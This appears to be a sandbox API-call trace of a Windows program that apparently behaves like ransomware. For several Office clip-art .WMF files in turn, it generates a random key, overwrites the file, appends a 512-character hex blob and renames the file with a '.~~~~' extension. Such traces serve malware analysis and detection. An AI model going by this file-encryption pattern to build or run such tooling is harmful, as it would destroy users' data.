	[0104.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.077] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22406751517) returned 1
	[0104.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7b91a30, dwHighDateTime=0x1d60e1e)) 
	[0104.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863c20
	[0104.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863c20 | out: hHeap=0x300000) returned 1
	[0104.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867cd0
	[0104.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.078] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.078] GetLastError () returned 0x0
	[0104.079] GetLastError () returned 0x0
	[0104.079] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.079] GetLastError () returned 0x0
	[0104.079] GetLastError () returned 0x0
	[0104.145] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffee4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.146] WriteFile (in: hFile=0xc4, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x11b6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0x11b6, lpOverlapped=0x0) returned 1
	[0104.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.147] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.147] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.148] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.148] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.148] CloseHandle (hObject=0xc4) returned 1
	[0104.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d320
	[0104.155] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.~~~~")) returned 1
	[0104.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.157] GetLastError () returned 0x0
	[0104.157] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.159] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.159] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.159] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22414948009) returned 1
	[0104.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7c50110, dwHighDateTime=0x1d60e1e)) 
	[0104.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863cc8
	[0104.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863cc8 | out: hHeap=0x300000) returned 1
	[0104.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867e00
	[0104.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.160] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.161] GetLastError () returned 0x0
	[0104.161] GetLastError () returned 0x0
	[0104.161] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.161] GetLastError () returned 0x0
	[0104.161] GetLastError () returned 0x0
	[0104.206] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffacb0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.206] WriteFile (in: hFile=0xc4, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x5350, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x24dfec0*=0x5350, lpOverlapped=0x0) returned 1
	[0104.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.207] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.208] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.208] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.208] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.208] CloseHandle (hObject=0xc4) returned 1
	[0104.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.208] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.~~~~")) returned 1
	[0104.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.209] GetLastError () returned 0x0
	[0104.232] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.234] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.234] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.234] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22422402365) returned 1
	[0104.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7ce8690, dwHighDateTime=0x1d60e1e)) 
	[0104.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863da8
	[0104.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863da8 | out: hHeap=0x300000) returned 1
	[0104.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868218
	[0104.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.235] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.235] GetLastError () returned 0x0
	[0104.235] GetLastError () returned 0x0
	[0104.235] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.235] GetLastError () returned 0x0
	[0104.235] GetLastError () returned 0x0
	[0104.242] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff1a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.242] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0xe60, lpOverlapped=0x0) returned 1
	[0104.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.243] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.243] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.244] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.244] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.244] CloseHandle (hObject=0xc4) returned 1
	[0104.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.~~~~")) returned 1
	[0104.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.245] GetLastError () returned 0x0
	[0104.246] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.249] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.249] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.250] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22423969258) returned 1
	[0104.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7d0e7f0, dwHighDateTime=0x1d60e1e)) 
	[0104.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863de0
	[0104.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863de0 | out: hHeap=0x300000) returned 1
	[0104.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868218
	[0104.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.250] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.251] GetLastError () returned 0x0
	[0104.251] GetLastError () returned 0x0
	[0104.251] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.251] GetLastError () returned 0x0
	[0104.251] GetLastError () returned 0x0
	[0104.305] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffeb32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.305] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x14ce, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x14ce, lpOverlapped=0x0) returned 1
	[0104.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.308] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.308] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.308] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.308] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.308] CloseHandle (hObject=0xc4) returned 1
	[0104.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.370] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.~~~~")) returned 1
	[0104.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.471] GetLastError () returned 0x0
	[0104.481] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.482] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.482] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.482] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22447216662) returned 1
	[0104.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7f49c90, dwHighDateTime=0x1d60e1e)) 
	[0104.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2a68
	[0104.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2a68 | out: hHeap=0x300000) returned 1
	[0104.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868348
	[0104.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.483] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.483] GetLastError () returned 0x0
	[0104.483] GetLastError () returned 0x0
	[0104.483] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.483] GetLastError () returned 0x0
	[0104.483] GetLastError () returned 0x0
	[0104.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff6294, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.486] WriteFile (in: hFile=0x130, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x9d6c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0x9d6c, lpOverlapped=0x0) returned 1
	[0104.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.486] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.487] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.487] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.487] CloseHandle (hObject=0x130) returned 1
	[0104.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d320
	[0104.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.~~~~")) returned 1
	[0104.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.488] GetLastError () returned 0x0
	[0104.489] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
